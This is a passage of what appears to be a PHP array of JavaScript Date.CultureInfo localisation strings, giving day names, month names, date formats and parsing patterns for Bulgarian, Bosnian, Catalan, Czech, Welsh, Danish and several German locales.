(България)",dayNames:["неделя","понеделник","вторник","сряда","четвъртък","петък","събота"],abbreviatedDayNames:["Нд","Пн","Вт","Ср","Чт","Пт","Сб"],shortestDayNames:["не","по","вт","ср","че","пе","съ"],firstLetterDayNames:["н","п","в","с","ч","п","с"],monthNames:["Януари","Февруари","Март","Април","Май","Юни","Юли","Август","Септември","Октомври","Ноември","Декември"],abbreviatedMonthNames:["Януари","Февруари","Март","Април","Май","Юни","Юли","Август","Септември","Октомври","Ноември","Декември"],amDesignator:"",pmDesignator:"",firstDayOfWeek:1,twoDigitYearMax:2029,dateElementOrder:"dmy",formatPatterns:{shortDate:"dd.M.yyyy \'г.\'",longDate:"dd MMMM yyyy \'г.\'",shortTime:"HH:mm",longTime:"HH:mm:ss",fullDateTime:"dd MMMM yyyy \'г.\' HH:mm:ss",sortableDateTime:"yyyy-MM-ddTHH:mm:ss",universalSortableDateTime:"yyyy-MM-dd HH:mm:ssZ",rfc1123:"ddd, dd MMM yyyy HH:mm:ss GMT",monthDay:"dd MMMM",yearMonth:"MMMM yyyy \'г.\'"},regexPatterns:{jan:/^януари/i,feb:/^февруари/i,mar:/^март/i,apr:/^април/i,may:/^май/i,jun:/^юни/i,jul:/^юли/i,aug:/^август/i,sep:/^септември/i,oct:/^октомври/i,nov:/^ноември/i,dec:/^декември/i,sun:/^не((деля)?)?/i,mon:/^по((неделник)?)?/i,tue:/^вторник/i,wed:/^сряда/i,thu:/^че((твъртък)?)?/i,fri:/^пе((тък)?)?/i,sat:/^съ((бота)?)?/i,future:/^next/i,past:/^last|past|prev(ious)?/i,add:/^(\\+|after|from)/i,subtract:/^(\\-|before|ago)/i,yesterday:/^yesterday/i,today:/^t(oday)?/i,tomorrow:/^tomorrow/i,now:/^n(ow)?/i,millisecond:/^ms|milli(second)?s?/i,second:/^sec(ond)?s?/i,minute:/^min(ute)?s?/i,hour:/^h(ou)?rs?/i,week:/^w(ee)?k/i,month:/^m(o(nth)?s?)?/i,day:/^d(ays?)?/i,year:/^y((ea)?rs?)?/i,shortMeridian:/^(a|p)/i,longMeridian:/^(a\\.?m?\\.?|p\\.?m?\\.?)/i,timezone:/^((e(s|d)t|c(s|d)t|m(s|d)t|p(s|d)t)|((gmt)?\\s*(\\+|\\-)\\s*\\d\\d\\d\\d?)|gmt)/i,ordinalSuffix:/^\\s*(st|nd|rd|th)/i,timeContext:/^\\s*(\\:|a|p)/i},abbreviatedTimeZoneStandard:{GMT:"-000",EST:"-0400",CST:"-0500",MST:"-0600",PST:"-0700"},abbreviatedTimeZoneDST:{GMT:"-000",EDT:"-0500",CDT:"-0600",MDT:"-0700",PDT:"-0800"}}; ', 'bs-Latn-BA' => 'Date.CultureInfo={name:"bs-Latn-BA",englishName:"Bosnian (Bosnia and Herzegovina)",nativeName:"bosanski (Bosna i Hercegovina)",dayNames:["nedjelja","ponedjeljak","utorak","srijeda","četvrtak","petak","subota"],abbreviatedDayNames:["ned","pon","uto","sri","čet","pet","sub"],shortestDayNames:["ned","pon","uto","sri","čet","pet","sub"],firstLetterDayNames:["n","p","u","s","č","p","s"],monthNames:["januar","februar","mart","april","maj","jun","jul","avgust","septembar","oktobar","novembar","decembar"],abbreviatedMonthNames:["jan","feb","mar","apr","maj","jun","jul","avg","sep","okt","nov","dec"],amDesignator:"",pmDesignator:"",firstDayOfWeek:1,twoDigitYearMax:2029,dateElementOrder:"dmy",formatPatterns:{shortDate:"d.M.yyyy",longDate:"d. MMMM yyyy",shortTime:"H:mm:ss",longTime:"H:mm:ss",fullDateTime:"d. MMMM yyyy H:mm:ss",sortableDateTime:"yyyy-MM-ddTHH:mm:ss",universalSortableDateTime:"yyyy-MM-dd HH:mm:ssZ",rfc1123:"ddd, dd MMM yyyy HH:mm:ss GMT",monthDay:"MMMM dd",yearMonth:"MMMM yyyy"},regexPatterns:{jan:/^jan(uar)?/i,feb:/^feb(ruar)?/i,mar:/^mar(t)?/i,apr:/^apr(il)?/i,may:/^maj/i,jun:/^jun/i,jul:/^jul/i,aug:/^avg(ust)?/i,sep:/^sep(tembar)?/i,oct:/^okt(obar)?/i,nov:/^nov(embar)?/i,dec:/^dec(embar)?/i,sun:/^nedjelja/i,mon:/^ponedjeljak/i,tue:/^utorak/i,wed:/^srijeda/i,thu:/^četvrtak/i,fri:/^petak/i,sat:/^subota/i,future:/^next/i,past:/^last|past|prev(ious)?/i,add:/^(\\+|after|from)/i,subtract:/^(\\-|before|ago)/i,yesterday:/^yesterday/i,today:/^t(oday)?/i,tomorrow:/^tomorrow/i,now:/^n(ow)?/i,millisecond:/^ms|milli(second)?s?/i,second:/^sec(ond)?s?/i,minute:/^min(ute)?s?/i,hour:/^h(ou)?rs?/i,week:/^w(ee)?k/i,month:/^m(o(nth)?s?)?/i,day:/^d(ays?)?/i,year:/^y((ea)?rs?)?/i,shortMeridian:/^(a|p)/i,longMeridian:/^(a\\.?m?\\.?|p\\.?m?\\.?)/i,timezone:/^((e(s|d)t|c(s|d)t|m(s|d)t|p(s|d)t)|((gmt)?\\s*(\\+|\\-)\\s*\\d\\d\\d\\d?)|gmt)/i,ordinalSuffix:/^\\s*(st|nd|rd|th)/i,timeContext:/^\\s*(\\:|a|p)/i},abbreviatedTimeZoneStandard:{GMT:"-000",EST:"-0400",CST:"-0500",MST:"-0600",PST:"-0700"},abbreviatedTimeZoneDST:{GMT:"-000",EDT:"-0500",CDT:"-0600",MDT:"-0700",PDT:"-0800"}}; ', 'ca-ES' => 'Date.CultureInfo={name:"ca-ES",englishName:"Catalan (Catalan)",nativeName:"català (català)",dayNames:["diumenge","dilluns","dimarts","dimecres","dijous","divendres","dissabte"],abbreviatedDayNames:["dg.","dl.","dt.","dc.","dj.","dv.","ds."],shortestDayNames:["dg","dl","dt","dc","dj","dv","ds"],firstLetterDayNames:["d","d","d","d","d","d","d"],monthNames:["gener","febrer","març","abril","maig","juny","juliol","agost","setembre","octubre","novembre","desembre"],abbreviatedMonthNames:["gen","feb","març","abr","maig","juny","jul","ag","set","oct","nov","des"],amDesignator:"",pmDesignator:"",firstDayOfWeek:1,twoDigitYearMax:2029,dateElementOrder:"dmy",formatPatterns:{shortDate:"dd/MM/yyyy",longDate:"dddd, d\' / \'MMMM\' / \'yyyy",shortTime:"HH:mm",longTime:"HH:mm:ss",fullDateTime:"dddd, d\' / \'MMMM\' / \'yyyy HH:mm:ss",sortableDateTime:"yyyy-MM-ddTHH:mm:ss",universalSortableDateTime:"yyyy-MM-dd HH:mm:ssZ",rfc1123:"ddd, dd MMM yyyy HH:mm:ss GMT",monthDay:"dd MMMM",yearMonth:"MMMM\' / \'yyyy"},regexPatterns:{jan:/^gen(er)?/i,feb:/^feb(rer)?/i,mar:/^març/i,apr:/^abr(il)?/i,may:/^maig/i,jun:/^juny/i,jul:/^jul(iol)?/i,aug:/^ag(ost)?/i,sep:/^set(embre)?/i,oct:/^oct(ubre)?/i,nov:/^nov(embre)?/i,dec:/^des(embre)?/i,sun:/^dg((.(umenge)?)?)?/i,mon:/^dl((.(lluns)?)?)?/i,tue:/^dt((.(marts)?)?)?/i,wed:/^dc((.(mecres)?)?)?/i,thu:/^dj((.(jous)?)?)?/i,fri:/^dv((.(vendres)?)?)?/i,sat:/^ds((.(ssabte)?)?)?/i,future:/^next/i,past:/^last|past|prev(ious)?/i,add:/^(\\+|after|from)/i,subtract:/^(\\-|before|ago)/i,yesterday:/^yesterday/i,today:/^t(oday)?/i,tomorrow:/^tomorrow/i,now:/^n(ow)?/i,millisecond:/^ms|milli(second)?s?/i,second:/^sec(ond)?s?/i,minute:/^min(ute)?s?/i,hour:/^h(ou)?rs?/i,week:/^w(ee)?k/i,month:/^m(o(nth)?s?)?/i,day:/^d(ays?)?/i,year:/^y((ea)?rs?)?/i,shortMeridian:/^(a|p)/i,longMeridian:/^(a\\.?m?\\.?|p\\.?m?\\.?)/i,timezone:/^((e(s|d)t|c(s|d)t|m(s|d)t|p(s|d)t)|((gmt)?\\s*(\\+|\\-)\\s*\\d\\d\\d\\d?)|gmt)/i,ordinalSuffix:/^\\s*(st|nd|rd|th)/i,timeContext:/^\\s*(\\:|a|p)/i},abbreviatedTimeZoneStandard:{GMT:"-000",EST:"-0400",CST:"-0500",MST:"-0600",PST:"-0700"},abbreviatedTimeZoneDST:{GMT:"-000",EDT:"-0500",CDT:"-0600",MDT:"-0700",PDT:"-0800"}}; ', 'cs-CZ' => 'Date.CultureInfo={name:"cs-CZ",englishName:"Czech (Czech Republic)",nativeName:"čeština (Česká republika)",dayNames:["neděle","pondělí","úterý","středa","čtvrtek","pátek","sobota"],abbreviatedDayNames:["ne","po","út","st","čt","pá","so"],shortestDayNames:["ne","po","út","st","čt","pá","so"],firstLetterDayNames:["n","p","ú","s","č","p","s"],monthNames:["leden","únor","březen","duben","květen","červen","červenec","srpen","září","říjen","listopad","prosinec"],abbreviatedMonthNames:["I","II","III","IV","V","VI","VII","VIII","IX","X","XI","XII"],amDesignator:"dop.",pmDesignator:"odp.",firstDayOfWeek:1,twoDigitYearMax:2029,dateElementOrder:"dmy",formatPatterns:{shortDate:"d.M.yyyy",longDate:"d. MMMM yyyy",shortTime:"H:mm",longTime:"H:mm:ss",fullDateTime:"d. MMMM yyyy H:mm:ss",sortableDateTime:"yyyy-MM-ddTHH:mm:ss",universalSortableDateTime:"yyyy-MM-dd HH:mm:ssZ",rfc1123:"ddd, dd MMM yyyy HH:mm:ss GMT",monthDay:"dd MMMM",yearMonth:"MMMM yyyy"},regexPatterns:{jan:/^leden/i,feb:/^únor/i,mar:/^březen/i,apr:/^duben/i,may:/^květen/i,jun:/^červen/i,jul:/^červenec/i,aug:/^srpen/i,sep:/^září/i,oct:/^říjen/i,nov:/^listopad/i,dec:/^prosinec/i,sun:/^neděle/i,mon:/^pondělí/i,tue:/^úterý/i,wed:/^středa/i,thu:/^čtvrtek/i,fri:/^pátek/i,sat:/^sobota/i,future:/^next/i,past:/^last|past|prev(ious)?/i,add:/^(\\+|after|from)/i,subtract:/^(\\-|before|ago)/i,yesterday:/^yesterday/i,today:/^t(oday)?/i,tomorrow:/^tomorrow/i,now:/^n(ow)?/i,millisecond:/^ms|milli(second)?s?/i,second:/^sec(ond)?s?/i,minute:/^min(ute)?s?/i,hour:/^h(ou)?rs?/i,week:/^w(ee)?k/i,month:/^m(o(nth)?s?)?/i,day:/^d(ays?)?/i,year:/^y((ea)?rs?)?/i,shortMeridian:/^(a|p)/i,longMeridian:/^(a\\.?m?\\.?|p\\.?m?\\.?)/i,timezone:/^((e(s|d)t|c(s|d)t|m(s|d)t|p(s|d)t)|((gmt)?\\s*(\\+|\\-)\\s*\\d\\d\\d\\d?)|gmt)/i,ordinalSuffix:/^\\s*(st|nd|rd|th)/i,timeContext:/^\\s*(\\:|a|p)/i},abbreviatedTimeZoneStandard:{GMT:"-000",EST:"-0400",CST:"-0500",MST:"-0600",PST:"-0700"},abbreviatedTimeZoneDST:{GMT:"-000",EDT:"-0500",CDT:"-0600",MDT:"-0700",PDT:"-0800"}}; ', 'cy-GB' => 'Date.CultureInfo={name:"cy-GB",englishName:"Welsh (United Kingdom)",nativeName:"Cymraeg (y Deyrnas Unedig)",dayNames:["Dydd Sul","Dydd Llun","Dydd Mawrth","Dydd Mercher","Dydd Iau","Dydd Gwener","Dydd Sadwrn"],abbreviatedDayNames:["Sul","Llun","Maw","Mer","Iau","Gwe","Sad"],shortestDayNames:["Sul","Llun","Maw","Mer","Iau","Gwe","Sad"],firstLetterDayNames:["S","L","M","M","I","G","S"],monthNames:["Ionawr","Chwefror","Mawrth","Ebrill","Mai","Mehefin","Gorffennaf","Awst","Medi","Hydref","Tachwedd","Rhagfyr"],abbreviatedMonthNames:["Ion","Chwe","Maw","Ebr","Mai","Meh","Gor","Aws","Med","Hyd","Tach","Rhag"],amDesignator:"a.m.",pmDesignator:"p.m.",firstDayOfWeek:1,twoDigitYearMax:2029,dateElementOrder:"dmy",formatPatterns:{shortDate:"dd/MM/yyyy",longDate:"dd MMMM yyyy",shortTime:"HH:mm:ss",longTime:"HH:mm:ss",fullDateTime:"dd MMMM yyyy HH:mm:ss",sortableDateTime:"yyyy-MM-ddTHH:mm:ss",universalSortableDateTime:"yyyy-MM-dd HH:mm:ssZ",rfc1123:"ddd, dd MMM yyyy HH:mm:ss GMT",monthDay:"MMMM dd",yearMonth:"MMMM yyyy"},regexPatterns:{jan:/^ion(awr)?/i,feb:/^chwe(fror)?/i,mar:/^maw(rth)?/i,apr:/^ebr(ill)?/i,may:/^mai/i,jun:/^meh(efin)?/i,jul:/^gor(ffennaf)?/i,aug:/^aws(t)?/i,sep:/^med(i)?/i,oct:/^hyd(ref)?/i,nov:/^tach(wedd)?/i,dec:/^rhag(fyr)?/i,sun:/^dydd sul/i,mon:/^dydd llun/i,tue:/^dydd mawrth/i,wed:/^dydd mercher/i,thu:/^dydd iau/i,fri:/^dydd gwener/i,sat:/^dydd sadwrn/i,future:/^next/i,past:/^last|past|prev(ious)?/i,add:/^(\\+|after|from)/i,subtract:/^(\\-|before|ago)/i,yesterday:/^yesterday/i,today:/^t(oday)?/i,tomorrow:/^tomorrow/i,now:/^n(ow)?/i,millisecond:/^ms|milli(second)?s?/i,second:/^sec(ond)?s?/i,minute:/^min(ute)?s?/i,hour:/^h(ou)?rs?/i,week:/^w(ee)?k/i,month:/^m(o(nth)?s?)?/i,day:/^d(ays?)?/i,year:/^y((ea)?rs?)?/i,shortMeridian:/^(a|p)/i,longMeridian:/^(a\\.?m?\\.?|p\\.?m?\\.?)/i,timezone:/^((e(s|d)t|c(s|d)t|m(s|d)t|p(s|d)t)|((gmt)?\\s*(\\+|\\-)\\s*\\d\\d\\d\\d?)|gmt)/i,ordinalSuffix:/^\\s*(st|nd|rd|th)/i,timeContext:/^\\s*(\\:|a|p)/i},abbreviatedTimeZoneStandard:{GMT:"-000",EST:"-0400",CST:"-0500",MST:"-0600",PST:"-0700"},abbreviatedTimeZoneDST:{GMT:"-000",EDT:"-0500",CDT:"-0600",MDT:"-0700",PDT:"-0800"}}; ', 'da-DK' => 'Date.CultureInfo={name:"da-DK",englishName:"Danish (Denmark)",nativeName:"dansk (Danmark)",dayNames:["søndag","mandag","tirsdag","onsdag","torsdag","fredag","lørdag"],abbreviatedDayNames:["sø","ma","ti","on","to","fr","lø"],shortestDayNames:["sø","ma","ti","on","to","fr","lø"],firstLetterDayNames:["s","m","t","o","t","f","l"],monthNames:["januar","februar","marts","april","maj","juni","juli","august","september","oktober","november","december"],abbreviatedMonthNames:["jan","feb","mar","apr","maj","jun","jul","aug","sep","okt","nov","dec"],amDesignator:"",pmDesignator:"",firstDayOfWeek:1,twoDigitYearMax:2029,dateElementOrder:"dmy",formatPatterns:{shortDate:"dd-MM-yyyy",longDate:"d. MMMM yyyy",shortTime:"HH:mm",longTime:"HH:mm:ss",fullDateTime:"d. MMMM yyyy HH:mm:ss",sortableDateTime:"yyyy-MM-ddTHH:mm:ss",universalSortableDateTime:"yyyy-MM-dd HH:mm:ssZ",rfc1123:"ddd, dd MMM yyyy HH:mm:ss GMT",monthDay:"d. MMMM",yearMonth:"MMMM yyyy"},regexPatterns:{jan:/^jan(uar)?/i,feb:/^feb(ruar)?/i,mar:/^mar(ts)?/i,apr:/^apr(il)?/i,may:/^maj/i,jun:/^jun(i)?/i,jul:/^jul(i)?/i,aug:/^aug(ust)?/i,sep:/^sep(t(ember)?)?/i,oct:/^okt(ober)?/i,nov:/^nov(ember)?/i,dec:/^dec(ember)?/i,sun:/^søndag/i,mon:/^mandag/i,tue:/^tirsdag/i,wed:/^onsdag/i,thu:/^torsdag/i,fri:/^fredag/i,sat:/^lørdag/i,future:/^next/i,past:/^last|past|prev(ious)?/i,add:/^(\\+|after|from)/i,subtract:/^(\\-|before|ago)/i,yesterday:/^yesterday/i,today:/^t(oday)?/i,tomorrow:/^tomorrow/i,now:/^n(ow)?/i,millisecond:/^ms|milli(second)?s?/i,second:/^sec(ond)?s?/i,minute:/^min(ute)?s?/i,hour:/^h(ou)?rs?/i,week:/^w(ee)?k/i,month:/^m(o(nth)?s?)?/i,day:/^d(ays?)?/i,year:/^y((ea)?rs?)?/i,shortMeridian:/^(a|p)/i,longMeridian:/^(a\\.?m?\\.?|p\\.?m?\\.?)/i,timezone:/^((e(s|d)t|c(s|d)t|m(s|d)t|p(s|d)t)|((gmt)?\\s*(\\+|\\-)\\s*\\d\\d\\d\\d?)|gmt)/i,ordinalSuffix:/^\\s*(st|nd|rd|th)/i,timeContext:/^\\s*(\\:|a|p)/i},abbreviatedTimeZoneStandard:{GMT:"-000",EST:"-0400",CST:"-0500",MST:"-0600",PST:"-0700"},abbreviatedTimeZoneDST:{GMT:"-000",EDT:"-0500",CDT:"-0600",MDT:"-0700",PDT:"-0800"}}; ', 'de-AT' => 'Date.CultureInfo={name:"de-AT",englishName:"German (Austria)",nativeName:"Deutsch (Österreich)",dayNames:["Sonntag","Montag","Dienstag","Mittwoch","Donnerstag","Freitag","Samstag"],abbreviatedDayNames:["So","Mo","Di","Mi","Do","Fr","Sa"],shortestDayNames:["So","Mo","Di","Mi","Do","Fr","Sa"],firstLetterDayNames:["S","M","D","M","D","F","S"],monthNames:["Jänner","Februar","März","April","Mai","Juni","Juli","August","September","Oktober","November","Dezember"],abbreviatedMonthNames:["Jän","Feb","Mär","Apr","Mai","Jun","Jul","Aug","Sep","Okt","Nov","Dez"],amDesignator:"",pmDesignator:"",firstDayOfWeek:1,twoDigitYearMax:2029,dateElementOrder:"dmy",formatPatterns:{shortDate:"dd.MM.yyyy",longDate:"dddd, dd. MMMM yyyy",shortTime:"HH:mm",longTime:"HH:mm:ss",fullDateTime:"dddd, dd. MMMM yyyy HH:mm:ss",sortableDateTime:"yyyy-MM-ddTHH:mm:ss",universalSortableDateTime:"yyyy-MM-dd HH:mm:ssZ",rfc1123:"ddd, dd MMM yyyy HH:mm:ss GMT",monthDay:"dd MMMM",yearMonth:"MMMM yyyy"},regexPatterns:{jan:/^jän(ner)?/i,feb:/^feb(ruar)?/i,mar:/^mär(z)?/i,apr:/^apr(il)?/i,may:/^mai/i,jun:/^jun(i)?/i,jul:/^jul(i)?/i,aug:/^aug(ust)?/i,sep:/^sep(t(ember)?)?/i,oct:/^okt(ober)?/i,nov:/^nov(ember)?/i,dec:/^dez(ember)?/i,sun:/^sonntag/i,mon:/^montag/i,tue:/^dienstag/i,wed:/^mittwoch/i,thu:/^donnerstag/i,fri:/^freitag/i,sat:/^samstag/i,future:/^next/i,past:/^last|past|prev(ious)?/i,add:/^(\\+|after|from)/i,subtract:/^(\\-|before|ago)/i,yesterday:/^yesterday/i,today:/^t(oday)?/i,tomorrow:/^tomorrow/i,now:/^n(ow)?/i,millisecond:/^ms|milli(second)?s?/i,second:/^sec(ond)?s?/i,minute:/^min(ute)?s?/i,hour:/^h(ou)?rs?/i,week:/^w(ee)?k/i,month:/^m(o(nth)?s?)?/i,day:/^d(ays?)?/i,year:/^y((ea)?rs?)?/i,shortMeridian:/^(a|p)/i,longMeridian:/^(a\\.?m?\\.?|p\\.?m?\\.?)/i,timezone:/^((e(s|d)t|c(s|d)t|m(s|d)t|p(s|d)t)|((gmt)?\\s*(\\+|\\-)\\s*\\d\\d\\d\\d?)|gmt)/i,ordinalSuffix:/^\\s*(st|nd|rd|th)/i,timeContext:/^\\s*(\\:|a|p)/i},abbreviatedTimeZoneStandard:{GMT:"-000",EST:"-0400",CST:"-0500",MST:"-0600",PST:"-0700"},abbreviatedTimeZoneDST:{GMT:"-000",EDT:"-0500",CDT:"-0600",MDT:"-0700",PDT:"-0800"}}; ', 'de-CH' => 'Date.CultureInfo={name:"de-CH",englishName:"German (Switzerland)",nativeName:"Deutsch (Schweiz)",dayNames:["Sonntag","Montag","Dienstag","Mittwoch","Donnerstag","Freitag","Samstag"],abbreviatedDayNames:["So","Mo","Di","Mi","Do","Fr","Sa"],shortestDayNames:["So","Mo","Di","Mi","Do","Fr","Sa"],firstLetterDayNames:["S","M","D","M","D","F","S"],monthNames:["Januar","Februar","März","April","Mai","Juni","Juli","August","September","Oktober","November","Dezember"],abbreviatedMonthNames:["Jan","Feb","Mrz","Apr","Mai","Jun","Jul","Aug","Sep","Okt","Nov","Dez"],amDesignator:"",pmDesignator:"",firstDayOfWeek:1,twoDigitYearMax:2029,dateElementOrder:"dmy",formatPatterns:{shortDate:"dd.MM.yyyy",longDate:"dddd, d. MMMM yyyy",shortTime:"HH:mm",longTime:"HH:mm:ss",fullDateTime:"dddd, d. MMMM yyyy HH:mm:ss",sortableDateTime:"yyyy-MM-ddTHH:mm:ss",universalSortableDateTime:"yyyy-MM-dd HH:mm:ssZ",rfc1123:"ddd, dd MMM yyyy HH:mm:ss GMT",monthDay:"dd MMMM",yearMonth:"MMMM yyyy"},regexPatterns:{jan:/^jan(uar)?/i,feb:/^feb(ruar)?/i,mar:/^märz/i,apr:/^apr(il)?/i,may:/^mai/i,jun:/^jun(i)?/i,jul:/^jul(i)?/i,aug:/^aug(ust)?/i,sep:/^sep(t(ember)?)?/i,oct:/^okt(ober)?/i,nov:/^nov(ember)?/i,dec:/^dez(ember)?/i,sun:/^sonntag/i,mon:/^montag/i,tue:/^dienstag/i,wed:/^mittwoch/i,thu:/^donnerstag/i,fri:/^freitag/i,sat:/^samstag/i,future:/^next/i,past:/^last|past|prev(ious)?/i,add:/^(\\+|after|from)/i,subtract:/^(\\-|before|ago)/i,yesterday:/^yesterday/i,today:/^t(oday)?/i,tomorrow:/^tomorrow/i,now:/^n(ow)?/i,millisecond:/^ms|milli(second)?s?/i,second:/^sec(ond)?s?/i,minute:/^min(ute)?s?/i,hour:/^h(ou)?rs?/i,week:/^w(ee)?k/i,month:/^m(o(nth)?s?)?/i,day:/^d(ays?)?/i,year:/^y((ea)?rs?)?/i,shortMeridian:/^(a|p)/i,longMeridian:/^(a\\.?m?\\.?|p\\.?m?\\.?)/i,timezone:/^((e(s|d)t|c(s|d)t|m(s|d)t|p(s|d)t)|((gmt)?\\s*(\\+|\\-)\\s*\\d\\d\\d\\d?)|gmt)/i,ordinalSuffix:/^\\s*(st|nd|rd|th)/i,timeContext:/^\\s*(\\:|a|p)/i},abbreviatedTimeZoneStandard:{GMT:"-000",EST:"-0400",CST:"-0500",MST:"-0600",PST:"-0700"},abbreviatedTimeZoneDST:{GMT:"-000",EDT:"-0500",CDT:"-0600",MDT:"-0700",PDT:"-0800"}}; ', 'de-DE' => 'Date.CultureInfo={name:"de-DE",englishName:"German (Germany)",nativeName:"Deutsch (Deutschland)",dayNames:["Sonntag","Montag","Dienstag","Mittwoch","Donnerstag","Freitag","Samstag"],abbreviatedDayNames:["So","Mo","Di","Mi","Do","Fr","Sa"],shortestDayNames:["So","Mo","Di","Mi","Do","Fr","Sa"],firstLetterDayNames:["S","M","D","M","D","F","S"],monthNames:["Januar","Februar","März","April","Mai","Juni","Juli","August","September","Oktober","November","Dezember"],abbreviatedMonthNames:["Jan","Feb","Mrz","Apr","Mai","Jun","Jul","Aug","Sep","Okt","Nov","Dez"],amDesignator:"",pmDesignator:"",firstDayOfWeek:1,twoDigitYearMax:2029,dateElementOrder:"dmy",formatPatterns:{shortDate:"dd.MM.yyyy",longDate:"dddd, d. MMMM yyyy",shortTime:"HH:mm",longTime:"HH:mm:ss",fullDateTime:"dddd, d. MMMM yyyy HH:mm:ss",sortableDateTime:"yyyy-MM-ddTHH:mm:ss",universalSortableDateTime:"yyyy-MM-dd HH:mm:ssZ",rfc1123:"ddd, dd MMM yyyy HH:mm:ss GMT",monthDay:"dd MMMM",yearMonth:"MMMM yyyy"},regexPatterns:{jan:/^jan(uar)?/i,feb:/^feb(ruar)?/i,mar:/^märz/i,apr:/^apr(il)?/i,may:/^mai/i,jun:/^jun(i)?/i,jul:/^jul(i)?/i,aug:/^aug(ust)?/i,sep:/^sep(t(ember)?)?/i,oct:/^okt(ober)?/i,nov:/^nov(ember)?/i,dec:/^dez(ember)?/i,sun:/^sonntag/i,mon:/^montag/i,tue:/^dienstag/i,wed:/^mittwoch/i,thu:/^donnerstag/i,fri:/^freitag/i,sat:/^samstag/i,future:/^next/i,past:/^last|past|prev(ious)?/i,add:/^(\\+|after|from)/i,subtract:/^(\\-|before|ago)/i,yesterday:/^yesterday/i,today:/^t(oday)?/i,tomorrow:/^tomorrow/i,now:/^n(ow)?/i,millisecond:/^ms|milli(second)?s?/i,second:/^sec(ond)?s?/i,minute:/^min(ute)?s?/i,hour:/^h(ou)?rs?/i,week:/^w(ee)?k/i,month:/^m(o(nth)?s?)?/i,day:/^d(ays?)?/i,year:/^y((ea)?rs?)?/i,shortMeridian:/^(a|p)/i,longMeridian:/^(a\\.?m?\\.?|p\\.?m?\\.?)/i,timezone:/^((e(s|d)t|c(s|d)t|m(s|d)t|p(s|d)t)|((gmt)?\\s*(\\+|\\-)\\s*\\d\\d\\d\\d?)|gmt)/i,ordinalSuffix:/^\\s*(st|nd|rd|th)/i,timeContext:/^\\s*(\\:|a|p)/i},abbreviatedTimeZoneStandard:{GMT:"-000",EST:"-0400",CST:"-0500",MST:"-0600",PST:"-0700"},abbreviatedTimeZoneDST:{GMT:"-000",EDT:"-0500",CDT:"-0600",MDT:"-0700",PDT:"-0800"}}; ', 'de-LI' => 'Date.CultureInfo={name:"de-LI",englishName:"German (Liechtenstein)",nativeName:"Deutsch (Liechtenstein)",dayNames:["Sonntag","Montag","Dienstag","Mittwoch","Donnerstag","Freitag","Samstag"],abbreviatedDayNames:["So","Mo","Di","Mi","Do","Fr","Sa"],shortestDayNames:["So","Mo","Di","Mi","Do","Fr","Sa"],firstLetterDayNames:["S","M","D","M","D","F","S"],monthNames:["Januar","Februar","März","April","Mai","Juni","Juli","August","September","Oktober","November","Dezember"],abbreviatedMonthNames:["Jan","Feb","Mrz","Apr","Mai","Jun","Jul","Aug","Sep","Okt","Nov","Dez"],amDesignator:"",pmDesignator:"",firstDayOfWeek:1,twoDigitYearMax:2029,dateElementOrder:"dmy",formatPatterns:{shortDate:"dd.MM.yyyy",longDate:"dddd, d. MMMM yyyy",shortTime:"HH:mm",longTime:"HH:mm:ss",fullDateTime:"dddd, d. MMMM yyyy HH:mm:ss",sortableDateTime:"yyyy-MM-ddTHH:mm:ss",universalSortableDateTime:"yyyy-MM-dd HH:mm:ssZ",rfc1123:"ddd, dd MMM yyyy HH:mm:ss GMT",monthDay:"dd MMMM",yearMonth:"MMMM yyyy"},regexPatterns:{jan:/^jan(uar)?/i,feb:/^feb(ruar)?/i,mar:/^märz/i,apr:/^apr(il)?/i,may:/^mai/i,jun:/^jun(i)?/i,jul:/^jul(i)?/i,aug:/^aug(ust)?/i,sep:/^sep(t(ember)?)?/i,oct:/^okt(ober)?/i,nov:/^nov(ember)?/i,dec:/^dez(ember)?/i,sun:/^sonntag/i,mon:/^montag/i,tue:/^dienstag/i,wed:/^mittwoch/i,thu:/^donnerstag/i,fri:/^freitag/i,sat:/^samstag/i,future:/^next/i,past:/^last|past|prev(ious)?/i,add:/^(\\+|after|from)/i,subtract:/^(\\-|before|ago)/i,yesterday:/^yesterday/i,today:/^t(oday)?/i,tomorrow:/^tomorrow/i,now:/^n(ow)?/i,millisecond:/^ms|milli(second)?s?/i,second:/^sec(ond)?s?/i,minute:/^min(ute)?s?/i,hour:/^h(ou)?rs?/i,week:/^w(ee)?k/i,month:/^m(o(nth)?s?)?/i,day:/^d(ays?)?/i,year:/^y((ea)?rs?)?/i,shortMeridian:/^(a|p)/i,longMeridian:/^(a\\.?m?\\.?|p\\.?m?\\.?)/i,timezone:/^((e(s|d)t|c(s|d)t|m(s|d)t|p(s|d)t)|((gmt)?\\s*(\\+|\\-)\\s*\\d\\d\\d\\d?)|gmt)/i,ordinalSuffix:/^\\s*(st|nd|rd|th)/i,timeContext:/^\\s*(\\:|a|p)/i},abbreviatedTimeZoneStandard:{GMT:"-000",EST:"-0400",CST:"-0500",MST:"-0600",PST:"-0700"},abbreviatedTimeZoneDST:{GMT:"-000",EDT:"-0500",CDT:"-0600",MDT:"-0700",PDT:"-0800"}}; ', 'de-LU' => 'Date.CultureInfo={name:"de-LU",englishName:"German (Luxembourg)",nativeName:"Deutsch (Luxemburg)",dayNames:["Sonntag","Montag","Dienstag","Mittwoch","Donnerstag","Freitag","Samstag"],abbreviatedDayNames:["So","Mo","Di","Mi","Do","Fr","Sa"],shortestDayNames:["So","Mo","Di","Mi","Do","Fr","Sa"],firstLetterDayNames:["S","M","D","M","D","F","S"],monthNames:["Januar","Februar","März","April","Mai","Juni","Juli","August","September","Oktober","November","Dezember"],abbreviatedMonthNames:["Jan","Feb","Mrz","Apr","Mai","Jun","Jul","Aug","Sep","Okt","Nov","Dez"],amDesignator:"",pmDesignator:"",firstDayOfWeek:1,twoDigitYearMax:2029,dateElementOrder:"dmy",formatPatterns:{shortDate:"dd.MM.yyyy",longDate:"dddd, d. MMMM yyyy",shortTime:"HH:mm",longTime:"HH:mm:ss",fullDateTime:"dddd, d. MMMM yyyy HH:mm:ss",sortableDateTime:"yyyy-MM-ddTHH:mm:ss",universalSortableDateTime:"yyyy-MM-dd HH:mm:ssZ",rfc1123:"ddd, dd MMM yyyy HH:mm:ss GMT",monthDay:"dd MMMM",yearMonth:"MMMM 